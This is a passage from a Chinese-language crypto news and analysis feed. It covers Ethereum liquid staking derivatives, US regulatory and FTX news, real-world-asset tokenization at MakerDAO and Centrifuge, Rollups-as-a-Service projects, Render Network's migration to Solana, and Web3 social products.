流动性质押的治理代币，用户还可以使用 LDO 数字代币对网络提案进行投票，并在质押中赚取被动收入。 此外，当用户抵押他们的 ETH 代币时，Lido 会向他们发放 stETH 作为交换。 这些衍生品 (stETH) 可以在超过 27 个 DeFi 应用程序和加密钱包中提取和使用。Lido 对流动性质押服务收取 10% 的费用，这些费用在 DAO 和节点运营商之间平均分配。 在撰写本文时，Lido 拥有 73.34% 的 ETH 市场份额，520 万个抵押 ETH，总锁仓价值（TVL）为 104.7 亿美元。 2. Coinbase 的 cbETH 在撰写本文时，Coinbase 拥有 15.64% 的 ETH 市场份额； 110 万个抵押的 ETH，TVL为 20.9 亿美元。 Coinbase 的流动性衍生代币是 cbETH。 Coinbase 推出其 LSD 的原因之一是与 Lido 的主导地位竞争，防止 Lido 危及以太坊的去中心化。 然而，Coinbase 衍生代币 (cbETH) 的局限性在于它在 DeFi 中没有很多实用程序，因此它们可能不会吸引太多加密投资者。 Coinbase 对流动性质押服务收取 25% 的费用。 3.Frax Finance 的 Sfrx ETH sfrxETH 是 Frax 的衍生代币。 Frax 提供最高的收益，这归因于它具有双代币设计。 sfrxETH 是加密市场上新创建的流动性质押衍生品之一。 Frax 使用 frxCTH/ETH 提供曲线上的流动资金池，但如果用户质押 sfrxETH，只会获得质押奖励。 在撰写本文时，他们拥有 1.44% 的 ETH 市场份额； 102,429 个抵押的 ETH，TVL为 2.216 亿美元。 4.Rocket Pool 的 rETH rETH 是 Rocket Pool 的去中心化流动性 Staking 衍生品。 Rocketpool 可能是本文列出的所有流动性质押提供商中最去中心化的选择。 借助 Rocket Pool，质押者可以从外部来源获得资金来运行验证器节点，只需 16 个 ETH，而不是 ETH 验证器通常所需的 32 个 ETH。 此外，这些验证者需要添加至少 16ETH 的 10% 作为抵押品，以防万一他们被slash。 在撰写本文时，Rocket Pool 拥有 5.84% 的 ETH 市场份额； 414,312 个抵押的 ETH，TVL为 11.2 亿美元。 5.StakeWise 的sETH2 StakeWise 运行安全稳定的机构级基础设施，结合独特的代币经济学，为其用户提供尽可能高的质押收益。StakeWise 以太坊质押由一个混合代币系统组成，该系统将用户自己质押的 ETH 分解为sETH2代币，并将奖励分成rETH2代币. 撰写本文时，StakeWise TVL 1.5亿美元，APR 4.79%，市场份额 1.11%。 LSD在加密社区的热度很高，其他大小加密公司也已开始采用 Liquid 质押衍生品，以释放资本效率、提高收益率、分散风险并支持去中心化金融生态系统的发展。因此，很难不相信它们是 DeFi 领域的下一个热门叙事。 几周前，Yearn Finance 宣布现在正在推出一种名为 yETH 的衍生代币。 这种新的衍生代币的潜在用例包括：分散利益相关者的风险，提高利益相关者的收益，以及通过一个代币享有多个敞口。 ChainLink 已将 LSD 作为释放资本效率和支持 DeFi 增长的重要组成部分。 他们最近在推特上表示，通过 Chainlink 储备证明，任何人都可以验证他们的流动性质押代币是否完全由质押的原生代币支持。 LSD 的发明增加了质押者的收益，质押参与进一步加强了网络，并有助于构建加密生态系统的未来。加密社区坚信 LSD 的概念将继续存在，我们很可能会看到更多突破性的用例。  ( 6 min )
    美SEC主席将于4月18日向众议院数字资产小组委员会解释其加密监管方法
    PANews 3月29日消息，据Beincrypto报道，美国众议院金融服务委员会主席Patrick McHenry今天宣布，美国证券交易委员会（SEC）主席Gary Gensler将于4月18日出席众议院数字资产小组委员会会议。McHenry证实：“这将是我们对SEC的第一次监督听证会。”监督听证会将寻求明确Gensler的规则制定和数字资产的方法。 McHenry说：“在政策方面，这将是我们制定数字资产监管领域的一种严肃的方法。”他希望在接下来的几个月里在加密监管领域开展这项工作。 McHenry于2023年1月成立了数字资产小组委员会，以帮助缩小众议院金融服务委员会在解决加密问题方面的结构性差距。美国众议院金融服务负责监督整个金融服务行业，包括证券、银行和加密资产。  ( 4 min )
    万亿级增量，RWA将成为DeFi下一个增长引擎？
    原文：《RWA，风浪越大，鱼越大》 作者：0xCousin，IOBC Capital RWA，Real World Asset，真实世界资产。目前最流行的RWA主要有以下几类：现金（美元）、金属（金、银等）、房地产、债券（美国国债居多）、保险、消费品、信用票据、特许权使用费等。 RWA的资产规模远超Crypto Native Asset。例如，固定收益债券市场规模约为127万亿美元，全球房地产总价值约为362万亿美元，黄金的市值约为11万亿美元，目前Crypto Native Asset的市值为1.1万亿，仅为黄金市值的1/10。 如果把这些RWA的一小部分放进DeFi领域，DeFi的总规模将获得大幅提升。 通常使用智能合约来创建代表RWA的Token，同时提供链下保证，即已发行的Token始终可赎回基础资产。 RWA在DeFi中有以下几种常见应用形式： 1、稳定币：比如USDT、USDC、BUSD这些最头部的稳定币都属于RWA，Tether、Circle、Paxos这些发行公司通过维持经过审计的美元资产储备，铸造稳定币Token供区块链及DeFi协议使用； 2、合成资产：合成资产也属于RWA，比如通过合成资产的形式，将股票、商品等以挂钩的衍生品的形式进行链上交易。目前在合成资产领域发展最好的是Synthetix，在2021年牛市巅峰期其协议中锁定了价值超过30亿美元的资产； 3、借贷协议：RWA在借贷协议中已经有较好的发展。借款人以RWA作为抵押品，DeFi平台可以为借款人提供抵押借贷业务；也有一些并未抵押资产，仅凭借其品牌信誉的信用借贷业务。RWA在DeFi借贷协议中的使用，为DeFi借贷协议的可持续发展和营收规模带来了非常重要的积极作用。 RWA Tokenization有助于扩大DeFi的市场规模，也有助于传统金融机构探索新的业务模式。头部的DeFi协议对RWA Tokenization有积极布局，一些传统金融机构对RWA Tokenization也很感兴趣。 MakerDAO：RWA业务规模超过6.8亿美元，贡献超过58%的收入。 因为传统金融系统的收益率现在比DeFi协议的收益率高，例如美国国债的收益率约为3.5%，而头部DeFi抵押借贷协议的收益率约为2%，这给了DeFi协议获得可持续收入的机会。 为了管理RWA业务，MakerDAO设立了RWA Foundation。根据抵押品类型的不同，可能设立不同的Foundation，而且每个SPV还可以根据业务需求选择最合适的管理辖区/法律结构。其基本架构如下： MakerDAO针对RWA的链下资产，在抵押借贷的业务逻辑上有些调整。主要是清算部分不是通过链上公开拍卖执行清算，而是由第三方在链下强制执行。实现新功能的智能合约主要包括： MakerDAO在他们认为必要时，通过tell（）调用RwaLiquidationOracle。这将开始倒计时，修复期结束后，预言机将开始报告该头寸正在清算中。如果触发清算的原因得到补救，则在补救之后MakerDAO治理可以通过调用Cure（），恢复正常状态；如果MakerDAO治理已触发清算且补救期已过且未被调用时，链下执行者（如受托人等）可以通过调用good（）来报告该头寸处于清算状态。 如果在清算过程结束时头寸上仍有债务剩余，并且MakerDAO认为债务不会被清偿，它可以通过调用触发注销cull()。注销通过将系统的抵押品价值设置为零来进行，这将导致头寸通过bite()等进行链上清算。与现有抵押品类型的清算模块不同，专门的清算模块RwaFlipper不会尝试出售标的抵押品，而只是通过允许创建系统债务来标记系统资产负债表上的损失。 MakerDAO在采用RWA方面有很大进展。目前，MakerDAO拥有价值超过6.8亿美元的RWA支持的去中心化稳定币DAI。 MakerDAO在RWA方面，将其6.8亿美元的RWA拆解分析，有三个具体案例： 1、MakerDAO的大部分RWA抵押品（约5亿美元）是以由Monetalis管理的美国国债形式出现（MIP65）。这些资产为MakerDAO协议提供了闲置USDC抵押品的收益来源； 2、MakerDAO还推出了一个由费城一家名为Huntingdon Walley Bank（HVB）的商业银行提供价值1亿美元贷款支持的金库。HVB使用MakerDAO来支持其现有业务的增长以及围绕房地产和其他相关垂直领域的投资，并成为美国监管金融机构与去中心化数字货币之间的首个商业贷款的案例； 3、在一个单独的金库中，法国兴业银行从MakerDAO借了700万美元，其头寸由价值4000万欧元的AAA级债券作为OFH代币的支持。 通过引入RWA作为抵押品，MakerDAO能够显著增加其协议收入。截至目前，MakerDAO的收入有超过58%来源于RWA业务。 Centrifuge：以NFT的形式将RWAs带入Crypto生态，TVL超1.7亿美元。 Centrifuge是通过NFT的形式将现实世界资产带入Crypto生态系统。Centrifuge协议的dApp叫Tinlake，Tinlake的产品逻辑主要如下： 1、资产发起人使用Tinlake桥接现实世界的资产。该资产被转换为NFT，其中包括相关的法律文件； 2、资产发起人可以使用代币化的现实世界资产NFT作为基础抵押品来创建资产池； 3、创建池时，会创建两个Token——DROP Token和TIN Token； 4、投资者可以根据个人风险偏好决定向哪个池提供资金，购买DROP或TIN Token； 5、DROP Token持有者有保证收益，由费用函数决定，每个池有固定利息，每秒复利； 6、另一方面，TIN Token持有者没有保证收益。他们收到基于池投资回报的可变收益率，这可能高于持有DROP Token的回报； 7、TIN Token持有人承担更高的风险，因为如果借款人违约，他们将承担第一笔损失。 除了MakerDAO和Centrifuge外，还有一些DeFi协议和传统金融机构也在RWA方面有些探索： RWA的机会和风险 RWA的信任假设：由于Tokenization的RWA毕竟是在链下，无法通过智能合约强制执行清算处理，还依赖于传统金融机构的背书，这些RWA的信任属性可能永远无法与Crypto Native Asset达到同等级别。同时，由于RWA信任假设的存在，完全无许可的DeFi协议也很难支持RWA，所以目前的RWA Tokenization的项目，在RWA资产的处理上，一般还是有中心化主体的作用和影响。 RWA的潜在机会：STO（Security Token Offerings)历来被视为RWA的有限实施。由于很多STO通常是仅在许可平台上可用的利基证券，因此它们的采用尚未达到与公链上的RWA相同的水平。目前的STO是区块链行业里为数不多被监管认可的资产代币化方案，STO在拥抱监管方面的发展路径，可能RWA也可以尝试探索。  ( 4 min )
    外交部发言人回应“SBF行贿中国官员”：不了解情况
    PANews 3月29日消息，据环球时报报道，美国联邦检察官当地时间周二公布了一项针对Sam Bankman-Fried（SBF）的新起诉书，指控这位现已破产的加密货币交易平台FTX的创始人向中国官员行贿至少4000万美元，试图让他们解冻他的对冲基金账户。29日，有记者在外交部例行记者会上就此进行提问。外交部发言人毛宁回应称，我不了解你说的情况。  ( 4 min )
    美国法院批准将FTX在红杉资本中的4500万美元资产出售给阿布扎比的投资部门
    PANews 3月29日消息，据CoinDesk报道，周二的一份法庭文件显示，美国特拉华州破产法官已批准将FTX在红杉资本基金中的4500万美元资产出售给阿布扎比的投资部门，即阿布扎比主权财富基金。FTX还要求无限期推迟出售股票清算业务Embed，该业务最初被认为是为未偿债权人筹集资金的一种快速方式。另一份法庭文件称，Embed的出售听证会原定于2月27日举行，随后被推迟，现在将暂停“直至另行通知”，但没有提供进一步的理由。  ( 4 min )
    区块链模块化愿景：Rollups-as-a-Service方案盘点
    原文：《走向模块化区块链未来之路：Rollups-as-a-Service 揭秘》 作者：0xjim 编译：Biteye 核心贡献者 Crush 我们之前已经讨论过未来数百万个区块链的样子，一些是通用的公链，但其中绝大多数是用于特定的应用程序，即应用链。 模块化区块链的出现、以太坊以 rollup 为中心的愿景，以及 Vitalik 在他的《Endgame》一文中为了可扩展性而承认的中心化，几乎使这种未来愿景成为必然。 所以我们得出了合乎逻辑的结论，即未来将有数百万个用于特定应用程序的模块化链——但它们是如何构建的呢？当然是通过 Rollups-as-a-Service (RaaS)！ 许多应用程序团队不想考虑运行基础架构。就像 AWS 如何抽象化托管服务器的复杂性一样，RaaS 项目也在为建立和维护区块链做同样的事情。 在不久的将来，部署新链就像创建新网页或扩展和缩小应用程序那样简单，就像我们现在通过 Docker 容器和 Kubernetes 所做的一样。 仅在过去的 6 个月里，我们就看到了 RaaS 项目的大量公告——为轻量级、可配置的 rollup 构建少量代码产品。 下面我会介绍一些当前使用模块化区块链解决方案，即 RaaS 项目的详尽列表。（相关阅读：《RaaS是什么？什么样的RaaS会赢得市场》） OG：Cosmos 和 Substrate Cosmos SDK 和 Substrate SDK 已经存在多年，它们允许开发人员创建自己的主权链（因此在技术上不是模块化的），或者在 Substrate 中，通过作为平行链连接到 Polkadot 中继链以共享安全性。 Alt-L1s（替代性 L1 公链） Polygon 和 Avalanche 是 2021 年初 Alt-L1 叙事的热门项目。它们建立了模块化框架的原型：Polygon Edge 和 Avalanche 子网。 最值得注意的是，Avalanche 与 Crabada 和 DeFi Kingdoms 等游戏合作，使得这些游戏创建了自己的专用子网。 Polygon 扩展了 Edge 的范围——现在称为 Polygon Supernets。通过 Supernet，dApp 团队可以利用现有 Polygon PoS 验证器的权益，并创建一个单独的用于特定应用程序的环境。 随着时间的推移，Polygon Supernets 还将为 dApp 团队提供使用 Polygon ZK 技术创建 ZK rollup 的能力。 The Ethereum Maxis 以太坊上的许多 L2 正在思考这些用于特定应用程序的 rollup 在他们的网络上运行将会是什么样子，而 Scroll、Fuel、Mantle、Boba、Metis、Consensys 的 zkEVM 和 Loopring 明显遗漏了这一点。 OPStack 是 Optimism 的模块化堆栈，是 Base 背后的架构师，在 Base 以及其他分支（例如 Minecraft 游戏）方面都发挥着重要的作用。他们希望可以出现一个共享排序器的超级链，即利用共享排序器在 rollup 之间提供同步性和原子性。 OP Labs 团队的愿景是让 RaaS L2s 成为以太坊之上的「实验层」。例如，以太坊开发人员可以轻松启动新的 rollup，以便在生产中测试新的 ERC 和 EIP，而不是等待以太坊 L1 全面更新之后，甚至在其它更为成熟的 L2 都更新了之后（如 Optimism 主网）才去行动。 Arbitrum AnyTrust 及其首个针对游戏优化的部署 Nova 是 Arbitrum 的模块化解决方案，它允许使用 Arbitrum 的执行层 Nitro，并具有使用 DAC 实现链下数据可用性的能力，以及在 L2 出现任何问题时，自动将数据传输到以太坊 L1 上处理的故障转移功能. 上周，随着空投公告的发布，Arbitrum 宣布推出 Orbit，一种可以在 Arbitrum 上以完整 rollup 或 AnyTrust 实例的形式启动 L3 的开发人员解决方案。 与 Stylus 配对后，Orbit 允许开发人员使用 C、C++ 和 Rust 构建应用程序，同时也包括 Solidity 等 EVM 语言。Offchain Labs 预计将利用 L3 进行快速实验，例如引入新的治理机制、对 Nitro 进行修改等等，这将采用无许可的 rollup 操作来实现。 Slush 建立在 StarkNet 之上，提供了一个 SDK 来在 StarkNet 之上构建 zkVM L3。Starkware 提出了分形拓展的概念，被认为是 L3s 的开创者。 zkSync 也正在思考分形扩展和 L3，它们将其称之为「Hyperchains」。Hyperchains 采用 LLVM 技术，是在 L1 主网上运行的 zkEVM 的分形实例，并可以并行工作。通过共同在 L1 主网上进行结算，实现跨 Hyperchain 的互操作性。 任何人都可以无需许可地部署 Hyperchain，使用可定制的模块化 zkEVM 链堆栈，该堆栈由与主要 zkSync L2 完全相同的 zkEVM 引擎提供支持。开发人员可以选择不同的虚拟机（例如，MoveVM）、不同的排序器设计以及不同的数据可用性方案（zkRollup、zkPorter 和 zkValidium）。 此外，Matter Labs 团队对 Hyperchains 上未来的执行环境可以变的非常短暂或是临时的这种发展可能性有一定的愿景。例如，可以快速创建一个 rollup 来轻松铸造数百万个 NFT，随后可以将这些 NFT 传送到另一个执行层，然后关闭临时的 rollup。 Caldera 则拥有一键部署模块化链的愿景，最初从 optimism 的 rollups 开始。他们已经在测试网络上进行了 optimism rollups 的在线演示，并且已经与 Curio 等游戏客户进行合作，开始了在主网上的构建。 Stackr 还很早期，但他是 ETH Global 的赢家，而且看起来很有前途。他们希望能够利用「微型 rollup」创建「混合应用程序」，让 rollup 可以自由选择执行、数据存储和充分地去中心化。 目前关于 Conduit 的信息不多，但它与 OPStack 相关，同时他们也致力于实现「一键部署」的体验。 The Cosmonauts（Cosmos 生态支持者） Dymension 的 RDK 允许在 Cosmos 上创建连接到 Dymension Hub 的 RollApps。Dymension RollApps 使用与 Cosmos SDK 相同的工具构建，主要区别是替换共识自由区块链模块（即没有验证者转换逻辑），并且预计比 Vanilla Rollups 更具可扩展性，因为数据发布的带宽问题将不会变成他们的瓶颈。 Dymension Hub 将允许 RollApps 和其他启用 IBC 的链之间进行轮毂式 IBC 连接，这不仅有利于用户，还增加了 Dymension Hub 作为自治网络的地位。 （译者注：轮毂式 IBC 连接是一种在区块链世界中实现跨链通信的方法。在传统的轮毂，一组车轮围绕中心轴心旋转，每个轮毂都连接到中心轴，轮毂之间没有直接连接。 就像区块链中，每条链都只能与主链进行通信，而不能互相之间通信，轮毂式 IBC 连接的出现改变了这种结构，这种改变使得不同的区块链可以实现更紧密的互操作性，通过直接连接进行可靠、安全、高效的跨链通信，为区块链应用程序提供更广泛的应用场景。） Saga 是一种弹性区块空间平台，允许开发人员根据需求部署完全安全、去中心化的" chainlets "，并利用其主验证节点集的安全性。 Saga 支持多个底层平台用于 chainlets，包括 Cosmos appchains、Celestia rollups 和 Polygon Supernets。像其他 RaaS 项目一样，Saga 专注于游戏领域，并支持游戏行业需要的任何技术。 Initia 是一个模块化解决方案，也在进攻游戏市场。他们利用 MoveVM 作为执行层、ZK 证明和 Cosmos SDK 进行快速结算和数据可用性。 Initia 计划通过所谓的「大厅论（The Lobby Thesis，即提供了一个平台，让 L2 项目之间可以互相交流和协作）」来完善他们的 L1 生态系统，以实现 L2 之间的组合和交叉，而不仅仅专注于 L2 基础设施。 Evmos 计划开发 Evmos SDK，使开发人员可以轻松地使用 Ethermint 构建并在 Cosmos 上启动新的兼容 EVM 应用链。 Berachain 最近宣布推出 Polaris，这是一个重构的区块链框架，支持将以太坊虚拟机与任何共识机制集成，包括 Cosmos SDK/Tendermint 等。该团队还将构建额外的开发人员工具和基础设施，以使使用 Polaris 进行构建变得顺畅——例如区块浏览器和钱包等。 Eclipse 正在构建一种 Settlement Rollup，该 Rollup 允许在其上构建 SVM 和其他 VM 执行层，使用 Cosmos 和 Polygon，以及最终其他 L1 以获取数据可用性。 The Celestians Celestia（之前是 Rollmint 和 Optimint）的 Rollkit 是一个模块化框架，用于创建主权（Sovereign）rollup 或 Optimism rollup（即将推出），并带有模块化数据可用性组件。 Rollkit 具有通用的数据可用性层（DA 层）接口，可以插入任何 DA 层，包括与比特币进行争议集成。 Astria 是使用 Celestia 作为数据可用性的 Settlement rollup 执行层。 Fractal 是一个为建立 zkVM rollups 提供支持和资源的中心。 Sovereign Labs 正在为「Internet of Rollups」构建 Sovereign SDK，使用任何 L1 进行数据可用性和排序，并使用任何 LLVM 兼容证明系统进行 zk-proving（例如 RiscZero 或 Nil Foundation）来创建主权 zk-rollups。 其他团队 Artesi 正在使用现成的工具（如区块浏览器和 MPC 钱包）构建「全栈」rollups。 Alt Layer 专注于创建用于有时间限制的短期使用场景的「闪电层」（flash layers），这些层是临时的自信 rollups。他们正在使用 Substrate SDK。 Cartesi（不要与 Artesi 混淆）正在创建一个区块链 SDK，用于 Optimism Rollup，并带有可编译为 Risc-V 的 Linux 操作系统。 Opside 提供 zk-rollups 作为服务，使用其创新的「三层」平台。 02、dApp-Chain 团队 我们现在已经了解了所有可以使构建模块化链变得更容易的解决方案，但是谁在实际构建新的链呢？ 主要有三个类别：游戏、DeFi 和创作者经济。 游戏 迄今为止，游戏是最常被提及的 RaaS 项目用例 - 其中许多只关注于游戏用例。 GameFi 一直是区块链领域的金矿，多年来出现了「游戏链」，例如 Efinity、Flow、Enjin、ImmutableX（首先是 StarkEx，现在在 Polygon zkEVM 上），以及其他项目。 这是有道理的。与金融应用程序相比，游戏需要完全不同的参数：更低的安全性、更高的吞吐量、更高的存储容量等。 RaaS 项目正在加入面向 Web3 游戏的竞争中。 DeFi 更具体地说，是独立的金融应用程序。 不需要共享执行层可组合性的应用程序在模块化的环境中运行良好。例如支付（Terra 的 Chai）和派生品（例如 dydx，perps，结构化产品）等用例。 创作者经济 这有点像一个综合词汇，但是 Web3 社交、代币门控、社区／社交代币项目也正在积极开发他们自己的应用特定的模块化区块链。 这也是有道理的，因为这些应用程序也是自包含的，不受当前跨链共识的可组合性缺乏所困扰。 我非常看好利用模块化堆栈和 RaaS（Rollups-as-a-Service）解决方案来推广区块链技术。 然而，我也意识到，就像我在整个五年的加密货币生涯中看到的那样，我们仍然处于非常早期的阶段。 像 Fuel、Celestia 和 zk rollups 这样的模块化项目仍未推出。大多数 RaaS 项目仍处于 alpha 测试阶段或已手动配置了权限部署。 更不用说应用程序协议团队考虑部署自己的 dapp 链的新生态了。目前情况是，对于任何开发团队来说，构建一个特定于应用程序的模块化链还不是一件易如反掌的事情： 离开共享状态机后，连接性和可组合性就会受到影响。 现有基础设施，如 RPC 端点、块浏览器和钱包，不能直接使用，而在自己的基础设施上运行则成本高昂。 流动性分散，并且需要从零开始建立社区。没有网络努力继承底层基础链。 最后，还有一个挥之不去的忧虑，即这是否只是「一路的挖掘和铲子」。 （译者注：这里的「一路挖掘与铲子」，是指关于加密货币和区块链技术的忧虑和担忧，认为整个行业只是在重复做着相同的事情，类似于淘金热时期的金矿工人挖掘并采集金矿。） 除了强大的开发工具，该领域还需要有标志性的应用程序，在下一轮牛市中带来一波新用户。 他们需要解决真正的用户痛点，这些痛点将出现在未来百万条链的世界中:组合性问题、跨链价值移动甚至是链的完全抽象化。 本文研究了区块链技术的未来发展趋势，主要提及了 Rollups-as-a-Service (RaaS) 的概念。RaaS 项目旨在为开发团队提供一个轻量级、可配置的 Rollup 解决方案，帮助他们快速搭建和维护内部区块链。 与云计算中的 AWS 类似，RaaS 项目可将底层基础设施的复杂性从开发人员中抽象出来，让他们专注于应用的开发和运营。 文章列出了当前 RaaS 领域的各种解决方案和项目，主要包括： 事实上，随着数字资产应用场景的不断增多，硬分叉和软分叉已经无法满足各类特定需求的区块链应用场景。 RaaS 项目应运而生，帮助开发者快速构建模块化区块链，并可根据需求进行扩容和升级，从而为数字资产、游戏、社交、DeFi 等场景提供高效、安全、持久的解决方案。 当然，此前也有许多区块链项目和平台计划推出类似的服务，但由于开发者能力和知识不足等原因，这些计划的实际落地要面临诸多困难，因此 RaaS 的解决方案还有待进一步发展和改进。  ( 8 min )
    Render Network为何迁往Solana，并构建铸造和销毁模型
    3月21日，分布式渲染项目Render Network宣布在Solana网络上构建BME模型（Burn and Mint Equilibrium，铸造和销毁模型），以回应社区对从Polygon网络转向Solana的提案。 在BME模型之下，RNDR代币将会获得更多的价值支撑，也将在事实上转入通缩机制，同时，也有助于验证节点运行商提交的工作量证明。而在Solana网络上，渲染的效率和速度将会显著提高，也有助于BME模型的顺利实施。 如果提案顺利实施，Render Network将逐步脱Polygon入Solana，在目前的以太坊生态席卷之势下，可谓是逆行之姿态。但是Render身处渲染领域，对网络的高速度需求是第一位的，在社区情绪调查中，55%的用户赞成转移至Solana，31%的用户支持Aptos和Algorand等高度L1公链网络，而只有14%的用户选择Polygon。 铸造和销毁模型赋能RNDR 以太坊主网虽然可以确保安全性，但是堵塞时间会直接拉高Gas Fee，而Polygon的验证节点过少导致其中心化程度较高，Solana 的活跃验证者大约为 2000个，而Polygon 大约在100左右。 而链上实时渲染，需要网络保持企业级的稳定运行状态，而目前的Solana因频繁宕机，其实无法完全满足Render的需求。 而BME机制则是已经被Helium等项目验证过的成熟机制，较为适合当前的Render在无缝切换主网的同时确保安全性。Render Network 可用异步的方式完成运行，并将 RNDR 支付给节点运营商，并且链下记录也可以正常延续到未来的节点中。 为了保证迁移的安全性，BME 模型可以在非实时依赖的情况下运行，并允许在遭遇停机问题时可以进行批处理以保证节点完整性，以最大程度降低链上依赖性。 具体而言，BME模型是在用户（艺术家）和节点运营商之间的配比平衡机制，用户使用RNDR作为向节点运营商的支付手段，用户需要销毁对等的 RNDR，以换取分配给节点运营商的工作积分。 Render主网络的BME机制将具有代币释放量上限，并且会保持目前的创作者——节点运营商双向市场模式，BME模型将包括节点运营商、创作者和流动性提供者（LP）。 Render主网铸造 RNDR 代币将按各节点完成的工作量分配给运营商，并可能与某些声誉评分进行比例调整，同时，代币整体数量可动态调整，以满足不同网络情况下的使用需求。 具体而言，每项工作都将以美元定价，创作者将燃烧等值 RNDR 代币，随后一组不可转让、不可替代的工作量证明积分（Render Credits）将被发放给创作者，并分配给节点运行商以记录网络上完成的工作。 不同于代币销毁和积分发行过程，网络将在每个时期铸造一定数量的基础代币，并将其分发给节点运行商，节点运营商可在网络上提供价值而获得补偿，这种价值可分为以下两部分： 而LP（流动性提供者）可为流动性池贡献质押代币而获得奖励，从而使 RNDR 可用于新的销毁和铸造均衡系统。 在这种情况下，RNDR的资产属性可以被进一步挖掘，同时，引入燃烧机制和积分转换，将显著降低RNDR的流通量，在网络利用率达到一定负荷条件下，RNDR可以成为事实上的通缩机制。 高速网络的优势 Render Network计划脱离Polygon并非一时兴起，早在2022年6月的RNP-001提案中，就已经计划引入BME模型以在Solana网络上构建新的扩展网络。 回归到Render Network本身的需求，分布式渲染需要实时网络、渲染的较高硬件需求以及可交互的信息传递机制，并且需要在链上同步节点状态以维护去中心化网络。 具体而言，Render社区考虑了以下标准： Render已经是一个年处理帧数达数百万量级的成熟项目，需要备选Layer 1网络具备在大规模、高负载下的承压能力、以及满足链上和链下的流动性。最直观的数据是TPS，以太坊主网大约只有14 TPS， Polygon 的平均值是主网的两倍，大约为 29 TPS，而Solana 平均 TPS 是 Polygon 的 140 多倍，大约为 4000TPS。 此外，渲染网络的链上状态同步对网络流量要求非常巨大，交易成本必须被首先考虑，根据测算，Solana 网络比 Polygon 具有更高的交易吞吐量和更低的交易费用。按照目前的需求测算，在网络上运行单次200帧的渲染费用需要200笔交易，包括数据上链和完成后的付费，以太坊主网大约需要140美元，而Polygon需要 5 美元，而Solana只需要 0.001 美元，比 Polygon 减少了大约 5000 倍。 Render网络还需要考虑未来的需求，一旦大规模人群使用，则对高吞吐量、低延迟网络具有特殊需求，而考虑到链上网络的承载量，答案依旧呼之欲出，只有Solana满足这种高速需求。 最典型的是NFT技术的大规模使用时代的Gas Fee需求，比如大型3A在线游戏，链上社交的海量数据，这些数据都需要上链以满足动态、多样化的表现形式，这些资产类型会需要数百万级的渲染工作量，包括任何图片、视频的单个组成部分，包括3D 模型、纹理、脚本、HDRI、效果、自定义渲染图节点、体积、光线、sdf/网格和场景图状态等等。此外，Solana Labs 和 Metaplex 开发的用于 NFT 的默克尔树压缩技术使用于渲染场景的标记资产的能力呈指数级增长。 对比Solana和Polygon之后，Solana更能满足Render的需求。比如，Solana使用的Rust语言可以比solidity提供更好的灵活性和更高的运行速度，便于开展GPU渲染工作，其次Solana虚拟机可以支持C/C++或Rust代码，以将其转化为智能合约。在 2022 年 12 月的一项调查中，Rust 的受欢迎程度是 Solidity 的 5 倍以上。 但是，不论是以太坊主网的笨重，还是Polygon和Solana的高速低价，目前都并不能完美满足Render的 未来需求，还需要额外的措施来确保Render发展进度。 随着区块链技术的发展，诸如传统互联网领域的专业级、企业级服务逐步迁移至区块链网络之上，而Render Network代表的渲染服务也需要更高速、更稳定的网络服务，一方面，这代表着区块链网络的长足进步，但是也要注意到，目前的Solana、Polygon和以太坊主网都无法真正满足Render的全部需求。 发展的问题要在发展中解决，诸如BME机制已经在Helium和Render中得到采纳，可在一定程度上抵消网络本身带来的问题，而一旦更高速的L2网络得到普及，Render也暗示会继续迁移。  ( 5 min )
    从社交本质出发，深入探究Web3.0社交产品的现状和未来
    原文：《AC Capital：如何打破社交疲劳？探究 Web3.0 社交产品的现状和未来》 作者： 钟怡 随着Web3.0社交产品的普及，其用户数量不断攀升。然而，一旦空投结束，日活用户数量就会急剧下滑。项目需要什么来维持生命力？代币化是否能够真正激励用户参与仍是一个谜团。加上代币在二级市场暴跌，Web3.0原生应用是否有立足之地，如何平衡好内容审核和去中心化社交之间的矛盾关系？ 这些问题都是Web3.0社交领域的创业者们需要思考的。在这篇文章中，我们将从社交本质、Web3.0社交产品的意义、分类和特点、问题以及优化方向等多个方面进行探讨，帮助大家更好地了解Web3.0社交产品的现状和未来，并提供一些解决社交疲劳问题的思路。 社交的本质是“人与人之间的关系+互动”，广义地分为熟人互动和基于用户兴趣的互动。然而，Web3.0的加密原住民总数本来就不多，因此专注于熟人互动的产品可能为时过早。基于用户兴趣的交互需要在新的交互场景中创造新的关系，简单地从其他平台复制和迁移社交关系并不可行。 据预测，到2027年，全球社交媒体用户数量将达到近60亿。而目前，平均每位互联网用户每天花费144分钟在社交媒体和即时通讯应用上。尽管传统的中心化社交平台拥有巨大的用户基础，但是它们也面临着诸多问题，如数据泄露、内容审查和算法偏见等。 为此，越来越多的人开始关注Web3.0社交产品。Web3.0社交产品基于区块链技术，可以实现去中心化的社交体验，确保用户数据的隐私和安全。同时，Web3.0社交产品可以消除中心化平台的审查和算法偏见，并且给原始内容的创作者带来更多的自主权。因此，Web3.0社交产品备受关注，可能会成为未来社交媒体发展的趋势之一。 Figure1.Source:https://www.statista.com/statistics/272014/global-social-networks-ranked-by-number-of-users/ 从这张图表中可以看出，Facebook是社交媒体领域的霸主，每月活跃用户超过29亿。Meta Platforms则拥有四个月活跃用户均超过10亿的最大社交媒体平台，包括Facebook（核心平台）、WhatsApp、Facebook Messenger和Instagram。这些大规模的中心化参与者已经成功地垄断了整个行业。然而，随着SocialFi的出现，这种局面可能会被打破。 SocialFi的出现是为了弥补传统社交平台的缺陷，Twitter联合创始人Jack Dorsey曾总结了社交媒体应遵循的三个原则： 1.社交媒体必须对企业和政府的控制具有弹性； 2.只有原作者可以删除他们制作的内容； 3.审核最好通过算法选择来实现。 基于公平和去中心化的原则，区块链的社交媒体应用在2022年末获得了蓬勃发展。这可以从与社交DApps的智能合约交互的活跃钱包地址总数的急剧增长中得出。目前，社交DApps的智能合约总数正在急剧增长，SocialFi的新趋势可能会彻底改变社交媒体行业的格局。 02、Web3.0社交产品的常见分类及特点 当前，流行的社交和DID项目主要包括基础设施、中间件、应用和工具等。其中，SocialFi赛道正在逐渐发展壮大，许多项目基于社交代币，融合DeFi的元素，不断进行技术更新和升级，成为了SocialFi项目。 根据Social代币的发行项目，可以将其分为以下几类： 个人代币：代币持有者可以访问早期的粉丝群，享受折扣或提前参与活动，并获得商品、NFT等。这种代币代表了状态或连接参与度的象征，早期的创作者或企业家可以获得经济回报。典型项目包括RAC，由格莱美奖获得者DJ RAC (André Allen Anjos) 基于以太坊推出的粉丝代币，以及ROLL (CreatorToken)，Roll是老牌社交代币发行平台之一，通过该平台创作者可以创建ERC-20代币，即为内容创作者发行个人社交代币。除此之外，MeTokens和MintGate都是基于以太坊的社交代币发行平台，而ALEX则是一个建立在Solana上的社交代币项目。 